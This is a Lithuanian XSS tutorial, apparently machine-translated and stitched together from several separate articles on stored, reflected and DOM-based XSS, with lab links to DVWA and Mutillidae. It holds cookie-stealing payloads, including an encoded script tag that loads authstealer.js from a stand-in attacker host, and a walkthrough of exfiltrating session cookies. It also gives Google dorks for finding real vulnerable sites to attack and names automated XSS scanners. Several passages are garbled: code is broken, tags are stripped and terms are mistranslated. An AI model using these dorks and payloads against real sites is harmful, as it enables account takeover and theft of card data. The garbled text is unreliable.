• 1. Kas yra XSS
• 2.XSS tipai
• 3. DOM pagrįstos XSS ypatybės
• 4.XSS auditorius
• 5. XSS išnaudojimo pavyzdžiai
• 6. Ieškokite svetainių, kurios pažeidžiamos XSS
• 7. Programos, skirtos XSS pažeidžiamumui ieškoti ir nuskaityti

Kryžminis scenarijus (XSS) yra pažeidžiamumas, susijęs su kliento kodo (JavaScript) įvedimu į kitų vartotojų peržiūrimą tinklalapį.

Pažeidžiamumas atsirado dėl nepakankamo duomenų, kuriuos vartotojas pateikia įterpti į tinklalapį, filtravimo. Daug lengviau suprasti konkretus pavyzdys. Prisiminkite bet kurią svečių knygą – tai programos, skirtos priimti duomenis iš vartotojo ir tada juos rodyti. Įsivaizduokime, kad svečių knyga jokiu būdu netikrina ir nefiltruoja įvestų duomenų, o tiesiog juos parodo.

Galite nubrėžti savo paprasčiausią scenarijų (nėra nieko lengviau, nei rašyti blogus scenarijus PHP – daugelis žmonių tai daro). Tačiau jau yra daug paruoštų variantų. Pavyzdžiui, siūlau pradėti nuo Dojo ir OWASP Mutillidae II. Ten yra panašus pavyzdys. Atskiroje Dojo aplinkoje eikite į šią nuorodą savo naršyklėje: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Jei vienas iš vartotojų įvedė:

Sveiki! Kaip laikaisi.

Tada tinklalapyje bus rodoma:

Sveiki! Kaip laikaisi.

Ir jei vartotojas įveda tai:

Sveiki! Kaip laikaisi. įspėjimas („Pwned“)

Tada jis bus rodomas taip:

Naršyklės išsaugo kelis daugelio svetainių slapukus. Kiekviena svetainė gali gauti tik jos pačios išsaugotus slapukus. Pavyzdžiui, example.com jūsų naršyklėje išsaugojo kai kuriuos slapukus. Jei lankotės other.com, ši svetainė (kliento ir serverio scenarijai) negali pasiekti example.com išsaugotų slapukų.

Jei example.com yra pažeidžiamas XSS, tai reiškia, kad galime kažkaip į jį įterpti JavaScript kodą ir tas kodas bus vykdomas example.com vardu! Tie. Šis kodas, pavyzdžiui, pasieks example.com slapukus.

Manau, visi prisimena, kad JavaScript vykdomas vartotojų naršyklėse, t.y. esant XSS, įdėtas kenkėjiškas kodas įgyja prieigą prie vartotojo, kuris atidarė svetainės puslapį, duomenų.

Įterptasis kodas gali padaryti viską, ką gali padaryti „JavaScript“, būtent:

• įgyja prieigą prie jūsų peržiūrimos svetainės slapukų
• gali atlikti bet kokius pakeitimus išvaizda puslapių
• pasiekia iškarpinę
• gali įdiegti „JavaScript“ programas, pavyzdžiui, klavišų kaupiklius (klavišų paspaudimų gaudytuvus)
• pasiimti jautienos

Paprasčiausias slapukų pavyzdys:

įspėjimas (dokumentas.slapukas)

Tiesą sakant, perspėjimas naudojamas tik XSS aptikti. Tikrasis kenksmingas krovinys atlieka paslėptus veiksmus. Jis slapta susisiekia su užpuoliko nuotoliniu serveriu ir persiunčia į jį pavogtus duomenis.

Svarbiausias dalykas, kurį reikia suprasti apie XSS tipus, yra tai, kad jie yra:

• Saugomas (nuolatinis)
• Atspindėtas (kintamas)

Konstantų pavyzdys:

• Specialiai sukurtas pranešimas, kurį užpuolikas įvedė į svečių knygą (komentaras, forumo žinutė, profilis), kuris išsaugomas serveryje, atsisiunčiamas iš serverio kiekvieną kartą, kai vartotojai prašo rodyti šį puslapį.
• Užpuolikas gavo prieigą prie serverio duomenų, pavyzdžiui, per SQL injekciją, ir į vartotojui pateiktus duomenis įvedė kenkėjišką JavaScript kodą (su kilologeriais arba BeEF).

Nenuolatinių pavyzdžių:

• Svetainėje vykdoma paieška, kuri kartu su paieškos rezultatais rodo kažką panašaus į „Jūs ieškojote: [paieškos eilutė]“, o duomenys nėra tinkamai filtruojami. Kadangi toks puslapis rodomas tik asmeniui, turinčiam nuorodą į jį, ataka neveiks tol, kol užpuolikas neišsiųs nuorodos kitiems svetainės vartotojams. Užuot siuntę nuorodą aukai, galite panaudoti kenksmingo scenarijaus patalpinimą neutralioje svetainėje, kurioje auka lankosi.

Jie taip pat išskiria (kai kurie kaip nenuolatinio XSS pažeidžiamumo tipas, kiti sako, kad šis tipas taip pat gali būti nuolatinio XSS tipas):

• DOM modeliai

Paprasčiau tariant, atidarę HTML kodą galime pamatyti kenkėjišką „įprasto“ nepaliaujamo XSS kodą. Pavyzdžiui, nuoroda formuojama taip:

Http://example.com/search.php?q="/>alert(1)

Ir kai atidarome šaltinio HTML kodą, matome kažką panašaus:

< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >įspėjimas(1)" />< button type = "submit" class = "ui-button" >Rasti

O DOM XSS pakeičia DOM struktūrą, kuri formuojama naršyklėje skrydžio metu, o kenkėjišką kodą matome tik peržiūrėdami sugeneruotą DOM struktūrą. HTML nesikeičia. Paimkime šį kodą kaip pavyzdį:

< html > < head > < title >svetainė:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >Įvyko klaida...< script >function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") if (results) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Jūsų seanso ID buvo: " + display_session + "< br >< br >")

Tada naršyklėje pamatysime:

Puslapio šaltinio kodas:

Adresą suformuokime taip:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Dabar puslapis atrodo taip:

Bet pažiūrėkime šaltinis HTML:

Ten visiškai niekas nepasikeitė. Štai apie ką aš kalbėjau, norėdami nustatyti kenkėjišką kodą, turime pažvelgti į dokumento DOM struktūrą:

Čia yra veikiantis XSS prototipas, tikram atakai mums reikia sudėtingesnės naudingosios apkrovos, o tai neįmanoma dėl to, kad programa nustoja skaityti iškart po kabliataškio, o kažkas panašaus į alert(1);alert(2) nėra galima ilgiau. Tačiau dėl unescape() grąžinimo duomenyse galime naudoti tokį naudingą krovinį:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Kur pakeitėme simbolį ; į URI koduotą atitikmenį!

Dabar galime parašyti kenkėjišką „JavaScript“ naudingąjį apkrovą ir sukurti nuorodą, kurią nusiunčiame aukai, kaip tai daroma naudojant standartinius nenuolatinius scenarijus įvairiose svetainėse.

IN Google Chrome(ir „Operoje“, kuri dabar naudoja „Google Chrome“ variklį), manęs laukė ši staigmena:

dom_xss.html:30 XSS auditorius atsisakė vykdyti scenarijų „http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);“, nes jo šaltinio kodas buvo rastas užklausoje . Auditorius buvo įjungtas, nes serveris neatsiuntė nei „X-XSS-Protection“, nei „Content-Security-Policy“ antraštės.

Tie. naršyklėje dabar yra XSS auditorius, kuris bandys užkirsti kelią XSS. Firefox šios funkcijos dar neturi, bet manau, kad tai laiko klausimas. Jei diegimas naršyklėse sėkmingas, galime kalbėti apie didelius XSS naudojimo sunkumus.

Verta prisiminti, kad šiuolaikinės naršyklės imasi veiksmų, kad apribotų eksploatacinių problemų, tokių kaip nenuolatinis XSS ir DOM pagrįstas XSS, lygį. Tai taip pat reikia atsiminti bandant svetaines naudojant naršyklę – gali pasirodyti, kad žiniatinklio programa yra pažeidžiama, tačiau iššokančiojo patvirtinimo nematote tik todėl, kad naršyklė ją blokuoja.

Užpuolikai, norintys išnaudoti kelių svetainių scenarijų pažeidžiamumą, kiekvieną pažeidžiamumo klasę turi vertinti skirtingai. Čia aprašyti kiekvienos klasės atakų vektoriai.

Dėl XSS pažeidžiamumo atakoms gali būti naudojamas BeEF, kuris išplečia ataką iš svetainės į vartotojų vietinę aplinką.

Nenutrūkstamos XSS atakos pavyzdys

1. Alisa dažnai lankosi tam tikroje svetainėje, kurią priglobia Bobas. Bobo svetainė leidžia Alice prisijungti naudojant vartotojo vardą / slaptažodį ir saugoti slaptus duomenis, pvz., mokėjimo informaciją. Vartotojui prisijungus, naršyklė išsaugo autorizacijos slapukus, kurie atrodo kaip beprasmiai simboliai, t.y. abu kompiuteriai (klientas ir serveris) prisimena, kad ji įėjo.

2. Mallory pažymi, kad Bobo svetainėje yra nuolatinis XSS pažeidžiamumas:

2.1 Kai lankotės paieškos puslapyje, įveskite paieškos eilutę ir spustelėkite pateikimo mygtuką. Jei rezultatų nerasta, puslapyje bus rodoma įvesta paieškos eilutė, po kurios eina žodžiai „nerasta“, o URL atrodo kaip http://bobssite .org?q= ją paieškos užklausa

2.2 Naudojant įprastą paieškos užklausą, pvz., žodį „šunys“, puslapyje tiesiog rodoma „šunų nerasta“ ir url http://bobssite.org?q=dogs, o tai yra gana įprastas elgesys.

2.3 Tačiau kai anomali paieškos užklausa, pvz., alert('xss'); :

2.3.1 Pasirodo įspėjamasis pranešimas (kuriame rašoma "xss").

2.3.2 Puslapyje rodomas įspėjimas ('xss'); nerastas kartu su klaidos pranešimu su tekstu „xss“.

2.3.3 url tinkamas eksploatacijai http://bobssite.org?q=alert('xss');

3. Mallory sukuria URL, kad išnaudotų pažeidžiamumą:

3.1 Ji sukuria URL http://bobssite.org?q=puppies. Ji gali pasirinkti konvertuoti ASCII simbolius į šešioliktainį formatą, pvz., http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E kad žmonės negalėtų iš karto iššifruoti kenkėjiško URL.

3.2 Ji siunčia el. laišką kai kuriems nieko neįtariantiems Bobo svetainės nariams sakydama: „Pažiūrėkite į šaunius šunis“.

4. Alisa gauna laišką. Ji myli šunis ir paspaudžia nuorodą. Paieškoje nueina į Bobo svetainę, nieko neranda, ten rodomas „nerastas šuo“, o pačiame viduryje paleidžiama žyma su scenarijumi (jis nematomas ekrane), atsisiunčia ir vykdo Malory's. authstealer.js programa (sukelia XSS ataką). Alisa apie tai pamiršta.

5. Programa authstealer.js veikia Alisos naršyklėje taip, lyg ji būtų kilusi iš Bobo svetainės. Ji paima Alisos autorizacijos slapukų kopiją ir nusiunčia juos į Malory serverį, kur Malory juos nuskaito.

7. Dabar, kai Malorie yra viduje, ji nueina į svetainės mokėjimo skyrių, pasižiūri ir pavagia numerio kopiją kreditine kortele Alisa. Tada ji nueina ir pakeičia slaptažodį, t.y. Dabar Alisa net nebegali įeiti.

8. Ji nusprendžia žengti kitą žingsnį ir nusiunčia tokiu būdu sukonstruotą nuorodą pačiam Bobui ir taip gauna administracinės privilegijos Bobo svetainę.

Nuolatinė XSS ataka

Dorks XSS

Pirmiausia reikia pasirinkti svetaines, kuriose vykdysime XSS atakas. Svetainių galima ieškoti naudojant Google dorks. Štai keletas šių dorkų, kuriuos galite nukopijuoti ir įklijuoti į „Google“ paiešką:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

Prieš mus atsidarys svetainių sąrašas. Turite atidaryti svetainę ir rasti joje įvesties laukus, pvz., atsiliepimų formą, įvesties formą, svetainės paiešką ir kt.

Iš karto norėčiau pažymėti, kad beveik nenaudinga ieškoti spragų populiariose automatiškai atnaujinamose žiniatinklio programose. Klasikinis tokios programos pavyzdys yra „WordPress“. Tiesą sakant, „WordPress“, o ypač jos papildiniuose, yra spragų. Be to, yra daug svetainių, kurios neatnaujina nei „WordPress“ variklio (dėl to, kai žiniatinklio valdytojas atliko kai kuriuos šaltinio kodo pakeitimus), nei jų papildinių ir temų (paprastai tai yra piratiniai papildiniai ir temos). Bet jei perskaitysite šią skiltį ir sužinosite iš jos ką nors naujo, tai WordPress dar ne jums... Prie jo būtinai grįšime vėliau.

Geriausi tikslai yra įvairūs savarankiškai parašyti varikliai ir scenarijai.

Galite pasirinkti įdėklą naudingą apkrovą kaip

įspėjimas (1)

Atkreipkite dėmesį į tai, į kurias HTML kodo žymas patenka jūsų įdėtasis kodas. Čia yra tipinio įvesties lauko pavyzdys

< input type = "text" class = "ui-input query" name = "q" value = "pagalvės užvalkalas" />< script >įspėjimas (1)< input value = "" />

Mūsų krovinys atsidurs ten, kur dabar yra žodis „pagalvės užvalkalas“. Tie. virsta įvesties žymos verte. To galime išvengti uždarydami dvigubą kabutę, o tada pačią žymą su „/>“.

"> perspėjimas (1)

Tikriausiai visi žiniatinklio programų skaitytuvai turi įmontuotą XSS pažeidžiamumo skaitytuvą. Ši tema nėra išsami, geriau susipažinti su kiekvienu panašiu skaitytuvu atskirai.

Taip pat yra specializuotų įrankių, skirtų XSS pažeidžiamumui nuskaityti. Tarp jų ypač galime išskirti:

• XSSer yra ne tik galingas skaitytuvas kas moka naudotis skirtingi metodaiĮdiegus ir apeinant filtravimą, tai taip pat yra automatizuotas įrankis ieškant svetainių, pažeidžiamų XSS (pagal dorks). Svetainėms, kuriose yra aptiktų pažeidžiamumų, ji gali suteikti naudingos apkrovos tikrajai atakai;
• XssPy taip pat yra gana nepriklausomas įrankis, galintis rasti visus svetainės puslapius (įskaitant subdomenuose esančius) ir patikrinti visus šiuose puslapiuose esančius įvesties elementus;
• BruteXSS – teigiama šio įrankio savybė yra visiškas klaidingų teigiamų rezultatų pašalinimas.

Daugumoje pažeidžiamų žiniatinklio programų rinkinių (išskyrus kai kurias labai specializuotas) yra svetainių, kurios yra pažeidžiamos XSS. Labiausiai geriausias variantas yra jų naudojimas neprisijungus veikiančioje mokymosi aplinkoje Dojo, kuri surinko daugybę testavimui skirtų programų. Pavyzdžiui, galite lavinti savo XSS atpažinimo ir naudojimo įgūdžius:

Prakeikta pažeidžiama žiniatinklio programa (DVWA):

• http://localhost/dvwa/vulnerabilities/xss_r/ (nepatvarus XSS)
• http://localhost/dvwa/vulnerabilities/xss_s/ (išsaugotas XSS)

Mutillidae / NOWASP (daug skirtingų XSS variantų)

• http://localhost/mutillidae/

Kelių svetainių scenarijų naudojimas java scenarijus– populiariausia atakos rūšis. Šioje medžiagoje papasakosime apie bėdas, kurios gali kilti naudojant java scenarijų ir kaip apsisaugoti nuo XSS atakų.

XSS yra ataka prieš interneto išteklių vartotojus, kurios tikslas yra pavogti svetainės administratorių autentifikavimo duomenis, siekiant gauti prieigą prie administracinės dalies ir kitų vartotojų, kurie turi galimybę asmeninė prieiga uždaroms ištekliaus dalims.

Šios atakos gali būti vykdomos ne tik norint įsilaužti į svetainę, bet ir pavogti:

• Prieigos prie trečiųjų šalių išteklių kredencialai;
• banko kortelių numeriai;
• Prieigos prie elektroninių piniginių duomenys;
• Kontaktiniai duomenys;
• Kiti vartotojo konfidencialūs duomenys.

Šio tipo puolimas turi dvi kryptis:

Aktyvus – atakos tipas, kai užpuolikas bando rasti interneto išteklių filtro pažeidžiamumą. Per tam tikras derinys simbolių ir žymų, įsilaužėlis sukuria užklausą, kad išteklius suprastų ir vykdo komandą. Aptikus saugos sistemos pažeidžiamumą, į užklausą įterpiamas kenkėjiškas kodas, kuris, pavyzdžiui, visus slapukus nusiųs į įsilaužėliui patogią vietą.

Pasyvus – apima atakos subjekto įsikišimą. Idėja yra priversti vartotoją naudoti kenkėjišką nuorodą kenkėjiškas kodas. Šias atakas sunku įgyvendinti, nes jos reikalauja, kad užpuolikas turėtų puikių techninių žinių ir gerai išmanytų psichologiją.

Kad netaptumėte XSS atakos auka, turėtumėte laikytis šių saugumo taisyklių:

Remiantis statistika, 84% interneto išteklių yra gerai apsaugoti nuo XSS atakų. Kiti 16% negali jiems veiksmingai atsispirti. Norint pašalinti šį didelį trūkumą, svetainių savininkai turi papildomai investuoti į saugumą, o tam dauguma jų nėra pasiruošę. Tačiau griežtėjantys teisės aktai dėl asmens duomenų žalos, nutekėjimo ir atskleidimo vis labiau verčia nesąžiningus savininkus gerinti savo svetainių saugumą.

Ory Segal

Sužinokite, kaip įsilaužėliai naudoja kelių svetainių scenarijų atakas, ką jie daro (ir nedaro) žalos, kaip jas pastebėti ir kaip apsaugoti savo svetainę ir jos lankytojus nuo šių kenkėjiškų privatumo ir saugumo pažeidimų.

Kelių svetainių scenarijų kūrimas (arba trumpai XSS) yra viena iš labiausiai paplitusių programų lygio atakų, kurias įsilaužėliai naudoja siekdami pažeisti žiniatinklio programas. XSS yra tam tikros svetainės klientų privatumo ataka. Tai gali lemti visišką apsaugos sistemos sunaikinimą, kai pavagiami kliento duomenys ir ateityje naudojami tam tikram tikslui. Daugumoje atakų dalyvauja dvi šalys: arba užpuolikas ir svetainė, arba užpuolikas ir auka klientas. Tačiau XSS ataka apima tris šalis: užpuoliką, klientą ir svetainę.

XSS atakos tikslas yra pavogti slapukus ar kitus slapukus iš kliento kompiuterio. Konfidenciali informacija, kuris gali identifikuoti klientą svetainėje. Turėdamas informacijos, leidžiančios atpažinti jį kaip teisėtą vartotoją, užpuolikas gali veikti svetainėje kaip toks vartotojas, t.y. apsimesti juo. Pavyzdžiui, vienoje didelėje įmonėje atlikto audito metu naudojant XSS ataką buvo galima gauti vartotojo privačią informaciją ir kredito kortelės numerį. Tai buvo pasiekta bėgiojant specialus kodas JavaScript. Šis kodas buvo paleistas nukentėjusiojo (kliento), kuris turėjo prieigos prie interneto svetainės teises, naršyklėje. Yra labai ribotas skaičius „JavaScript“ privilegijų, kurios nesuteikia scenarijui prieigos prie nieko, išskyrus konkrečios svetainės informaciją. Svarbu pabrėžti, kad nors pažeidžiamumas yra svetainėje, pati svetainė nėra tiesiogiai pažeista. Bet to pakanka, kad scenarijus būtų surinktas sausainiai ir nusiuntė juos užpuolikui. Dėl to užpuolikas gauna reikiamus duomenis ir gali mėgdžioti auką.

Pavadinkime užpultą svetainę taip: www.vulnerable.site. Tradicinė XSS ataka remiasi pažeidžiamu scenarijumi, kuris yra pažeidžiamoje svetainėje. Šis scenarijus nuskaito dalį HTTP užklausos (dažniausiai parametrus, bet kartais ir HTTP antraštes arba kelią) ir pakartoja jį atsakymo puslapyje – visą arba tik dalį. Tai neapdoroja užklausos (t. y. netikrinama, ar užklausoje nėra „JavaScript“ kodo arba HTML žymų). Tarkime, kad šis scenarijus vadinamas welcome.cgi, o jo parametras yra pavadinimas. Jis gali būti naudojamas taip:

Kaip tuo galima piktnaudžiauti? Užpuolikas turi sugebėti privilioti klientą (auką) spustelėti užpuoliko pateiktą nuorodą. Tai kruopščiai ir piktybiškai sukurta nuoroda, dėl kurios aukos interneto naršyklė pasiekia svetainę (www.vulnerable.site) ir paleidžia pažeidžiamą scenarijų. Šio scenarijaus duomenyse yra „JavaScript“ kodas, kuris pasiekia slapukus, kuriuos kliento naršyklė saugo svetainėje www.vulnerable.site. Tai leidžiama, nes kliento naršyklė „mano“, kad JavaScript kodas yra iš www.vulnerable.site. Ir JavaScript saugos modelis leidžia scenarijus, kilę iš konkrečios svetainės, pasiekti slapukus, priklausančius tai svetainei.

Atsakymas iš pažeidžiamos svetainės bus toks:

Nukentėjusiojo kliento naršyklė šią užklausą interpretuoja kaip HTML puslapį, kuriame yra JavaScript kodo dalis. Šis kodas, kai bus įvykdytas, turės prieigą prie visų slapukų, priklausančių svetainei www.vulnerable.site. Todėl naršyklėje atsiras iššokantis langas, kuriame bus rodomi visi kliento slapukai, susiję su www.vulnerable.site.

Žinoma, tikra ataka apimtų šių failų siuntimą užpuolikui. Norėdami tai padaryti, užpuolikas gali sukurti svetainę (www.attacker.site) ir naudoti scenarijų, kad gautų slapukus. Užuot iškvietęs iššokantįjį langą, užpuolikas parašys kodą, kuris pasiekia www.attacker.site URL. Šiuo atžvilgiu vykdomas scenarijus norint gauti slapukus. Šio scenarijaus parametras yra pavogti slapukai. Taigi, užpuolikas gali gauti slapukus iš www.attacker.site serverio.

Iš karto po šio puslapio įkėlimo naršyklė vykdys jame įdėtą JavaScript kodą ir persiųs užklausą į collection.cgi scenarijų www.attacker.site kartu su slapukų verte iš www.vulnerable.site, kurią naršyklė jau turi. Tai kenkia kliento turimų www.vulnerable.site slapukų saugumui. Tai leidžia užpuolikui apsimesti auka. Kliento konfidencialumas yra visiškai pažeistas.

Pastaba.
Paprastai pakanka iškviesti iššokantįjį langą naudojant „JavaScript“, kad būtų parodytas svetainės pažeidžiamumas dėl XSS atakos. Jei galite iškviesti įspėjimo funkciją naudodami „JavaScript“, paprastai nėra jokios priežasties, kodėl skambutis nepavyktų. Štai kodėl dauguma XSS atakų pavyzdžių naudoja Alert funkciją, kuri leidžia labai lengvai nustatyti atakos sėkmę.

Ataka gali įvykti tik aukos naršyklėje, toje pačioje, kuri buvo naudojama prieigai prie svetainės (www.vulnerable.site). Užpuolikas turi priversti klientą pasiekti kenkėjišką nuorodą. Tai galima pasiekti keliais būdais.

• Užpuolikas siunčia el. laišką su HTML puslapiu, kuris apgaudinėja naršyklę atidaryti nuorodą. Tam reikia, kad auka naudotųsi klientu El. paštas, galintis dirbti su HTML. Ir kliento HTML peržiūros priemonė turi būti ta pati naršyklė, kuri naudojama norint pasiekti www.vulnerable.site.

• Klientas apsilanko svetainėje, kurią galbūt sukūrė užpuolikas, kur nuoroda į vaizdą ar kitą spustelėjamą HTML elementą verčia naršyklę atidaryti nuorodą. Vėlgi, šiuo atveju būtina, kad ta pati naršyklė būtų naudojama norint pasiekti šią svetainę ir svetainę www.vulnerable.site.

Kenkėjiškas JavaScript kodas gali pasiekti bet kurią iš šios informacijos:

• nuolatiniai slapukai (svetainės www.vulnerable.site), kuriuos išsaugo naršyklė;
• sausainiai laisvosios kreipties atmintis(svetainė www.vulnerable.site), kurias palaiko naršyklės egzempliorius tik peržiūrint svetainę www.vulnerable.site;
• kitų svetainės www.vulnerable.site langų pavadinimai.
• bet kokia informacija, kuri pasiekiama per srovę DOM modelis(iš reikšmių, HTML kodo ir kt.).

Identifikavimo, autorizacijos ir autentifikavimo duomenys paprastai saugomi slapukų pavidalu. Jei šie slapukai yra nuolatiniai, auka yra pažeidžiama atakai net tada, kai nesinaudoja naršykle, kai lankosi www.vulnerable.site. Tačiau jei slapukai yra laikini (pavyzdžiui, jie saugomi RAM), tada kliento pusėje turi būti seansas su svetaine www.vulnerable.site.

Kitas galimas identifikavimo etiketės įgyvendinimas yra URL parametras. Tokiais atvejais kitus langus galite pasiekti naudodami JavaScript taip (darant prielaidą, kad puslapio su norimais URL parametrais pavadinimas yra foobar):

Norėdami paleisti „JavaScript“ scenarijų, galite naudoti daug kitų HTML žymų, išskyrus . Tiesą sakant, taip pat galima įdėti kenkėjišką „JavaScript“ kodą į kitą serverį ir tada priversti klientą atsisiųsti scenarijų ir jį vykdyti. Tai gali būti naudinga, jei reikia paleisti daug kodo arba jei kode yra specialiųjų simbolių.

Štai keletas šių galimybių variantų.

• Vietoj... įsilaužėliai gali naudoti . Tai tinka svetainėms, kurios filtruoja HTML žymą.

• Vietoj ... galite naudoti konstrukciją. Tai naudinga tais atvejais, kai JavaScript kodas yra per ilgas arba jei jame yra neleistinų simbolių.

Kartais atsakymo puslapyje įterpti duomenys yra mokamo HTML kontekste. Tokiu atveju pirmiausia reikia „pabėgti“ į laisvą kontekstą, o tada atlikti XSS ataką. Pavyzdžiui, jei duomenys įterpiami kaip numatytoji HTML formos lauko reikšmė:

Ir gautas HTML kodas bus toks:

Visi žinome, kas yra scenarijus įvairiose svetainėse, tiesa? Tai yra pažeidžiamumas, dėl kurio užpuolikas siunčia kenkėjiškus duomenis (dažniausiai HTML, kuriame yra „Javascript“ kodas), kuriuos vėliau grąžina programa, todėl paleidžiamas „Javascript“ kodas. Taigi tai netiesa! Yra XSS atakų tipas, kuris neatitinka šio apibrėžimo, bent jau pagal savo pagrindinius principus. XSS atakos, kaip apibrėžta aukščiau, skirstomos į momentines (kenkėjiški duomenys įterpiami į puslapį, kuris iškart po užklausos grąžinamas į naršyklę) ir uždelstas (kenkėjiški duomenys grąžinami po kurio laiko). Tačiau yra trečias XSS atakų tipas, kuris nėra pagrįstas kenkėjiškų duomenų siuntimu į serverį. Nors tai atrodo prieštaringa, yra du gerai dokumentuoti tokio išpuolio pavyzdžiai. Šiame straipsnyje aprašomas trečiasis XSS atakų tipas – XSS per DOM (DOM pagrįstas XSS). Nieko iš esmės naujo apie puolimą čia neparašysime, greičiau šios medžiagos naujovė yra išskirtinių puolimo bruožų išryškinimas, kurie yra labai svarbūs ir įdomūs.

Kūrėjai ir programų vartotojai turi suprasti XSS atakų per DOM principus, nes jos kelia grėsmę žiniatinklio programoms ir skiriasi nuo įprastų XSS. Internete yra daug žiniatinklio programų, kurios yra pažeidžiamos XSS per DOM ir tuo pačiu metu išbandytos XSS ir yra „nepažeidžiamos“ tokio tipo atakoms. Kūrėjai ir svetainių administratoriai turėtų susipažinti su XSS aptikimo ir apsaugos nuo DOM metodais, nes šie metodai skiriasi nuo metodų, naudojamų kovojant su standartiniais XSS pažeidžiamumu.

Skaitytojas turėtų būti susipažinęs su pagrindiniais XSS atakų principais (, , , , ). XSS paprastai reiškia momentinį () ir tingų kelių svetainių scenarijus. Naudojant momentinį XSS, užpultas serveris iš karto grąžina kenkėjišką kodą (Javascript) kaip atsaką į HTTP užklausą. Atidėtas XSS reiškia, kad kenkėjiškas kodas yra saugomas užpultoje sistemoje ir vėliau gali būti įterptas HTML puslapis pažeidžiama sistema. Kaip minėta pirmiau, ši klasifikacija daro prielaidą, kad pagrindinė XSS savybė yra ta, kad kenkėjiškas kodas siunčiamas iš naršyklės į serverį ir grąžinamas į tą pačią naršyklę (flash XSS) arba bet kurią kitą naršyklę (uždelstas XSS). Šiame straipsnyje keliamas klausimas, kad tai klaidinga klasifikacija. Galimybė vykdyti XSS ataką, kuri nepriklauso nuo kodo įvedimo į serverio grąžintą puslapį, turėtų didelį poveikį saugumui ir aptikimo technikoms. Tokių išpuolių principai aptariami šiame straipsnyje.

Prieš aprašant paprasčiausią atakos scenarijų, svarbu pabrėžti, kad čia aprašyti metodai jau keletą kartų buvo viešai demonstruoti (pavyzdžiui, , ir ). Neteigiu, kad žemiau pateikti metodai aprašyti pirmą kartą (nors kai kurie iš jų skiriasi nuo anksčiau publikuotos medžiagos).

Pažeidžiamos svetainės ženklas gali būti HTML puslapis, kuriame nesaugiai naudojami duomenys iš document.location, document.URL arba document.referrer (arba bet kokių kitų objektų, kuriuos gali paveikti užpuolikas).

Pastaba skaitytojams, nepažįstantiems šių „Javascript“ objektų: kai „Javascript“ kodas veikia naršyklėje, jis pasiekia keletą objektų, pateiktų DOM ( Dokumento objektas Modelis Objekto modelis dokumentas). Dokumento objektas yra pagrindinis iš šių objektų ir suteikia prieigą prie daugumos puslapio ypatybių. Šiame objekte yra daug įdėtų objektų, tokių kaip vieta, URL ir persiuntimo nuoroda. Juos valdo naršyklė pagal naršyklės požiūrį (kaip bus matyti toliau, tai yra gana reikšminga). Taigi, document.URL ir document.location yra puslapio URL arba, tiksliau, tai, ką naršyklė reiškia URL. Atkreipkite dėmesį, kad šie objektai nėra paimti iš HTML puslapio turinio. Dokumento objekte yra kūno objektas, kuriame yra išanalizuotas puslapio HTML kodas.

Nesunku rasti HTML puslapį su Javascript kodu, kuris analizuoja URL eilutę (pasiekiamas per document.URL arba document.location) ir pagal jos vertę atlieka tam tikrus veiksmus kliento pusėje. Žemiau pateikiamas tokio kodo pavyzdys.

Analogiškai su pavyzdžiu apsvarstykite šį HTML puslapį (darant prielaidą, kad turinys yra http://www.vulnerable.site/welcome.html):

Sveiki! Sveiki, var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Sveiki atvykę į mūsų sistemą…

Tačiau tokia užklausa -

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

sukeltų XSS. Pažiūrėkime kodėl: nukentėjusiojo naršyklė, gavusi šią nuorodą, siunčia HTTP užklausą į www.vulnerable.site ir gauna minėtą (statinį!) HTML puslapį. Aukos naršyklė pradeda analizuoti šį HTML kodą. DOM yra dokumento objektas, turintis URL lauką, ir šis laukas užpildomas dabartinio puslapio URL reikšme kuriant DOM. Kai analizatorius pasiekia Javascript kodą, jis jį vykdo, todėl keičiamas rodomo puslapio HTML kodas. Šiuo atveju kodas nurodo document.URL ir kadangi dalis šios eilutės įterpiama į HTML analizuojant, kuris iš karto išanalizuojamas, aptiktas kodas (alert(...)) vykdomas to paties puslapio kontekste.

Pastabos:

1. Kenkėjiškas kodas nėra įterptas į HTML puslapį (skirtingai nei kitų tipų XSS).
2. Šis išnaudojimas veiks, jei naršyklė nepakeis URL simbolių. „Mozilla“ automatiškai koduoja „“ simbolius (atitinkamai %3C ir %3E) įdėtuose dokumento objektuose. Jei URL buvo įvestas tiesiai į adreso juostą, ši naršyklė nėra pažeidžiama šiame pavyzdyje aprašytos atakos. Tačiau, jei atakai nereikia simbolių '' (pradinėje nekoduotoje formoje), ataka gali būti įvykdyta. Microsoft Internet Explorer 6.0 nekoduoja '' ir todėl yra pažeidžiamas aprašytos atakos be jokių apribojimų. Tačiau yra daug skirtingų atakų scenarijų, kuriems nereikia '', todėl net Mozilla nėra apsaugota nuo šios atakos.

Aukščiau pateiktame pavyzdyje kenkėjiškas kodas vis tiek siunčiamas į serverį (kaip HTTP užklausos dalis), todėl ataka gali būti aptikta kaip ir bet kuri kita XSS ataka. Bet tai yra išsprendžiama problema.

Apsvarstykite šį pavyzdį:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Atkreipkite dėmesį į simbolį „#“, esantį failo pavadinimo dešinėje. Naršyklėje nurodoma, kad viskas po šio simbolio nėra užklausos dalis. Microsoft Internet Explorer (6.0) ir Mozilla nesiunčia į serverį fragmento po simbolio '#', todėl serveriui ši užklausa bus lygiavertė http://www.vulnerable.site/welcome.html, t.y. kenkėjiško kodo serveris net nepastebės. Taigi, šios technikos dėka naršyklė nesiunčia serveriui kenksmingos apkrovos.

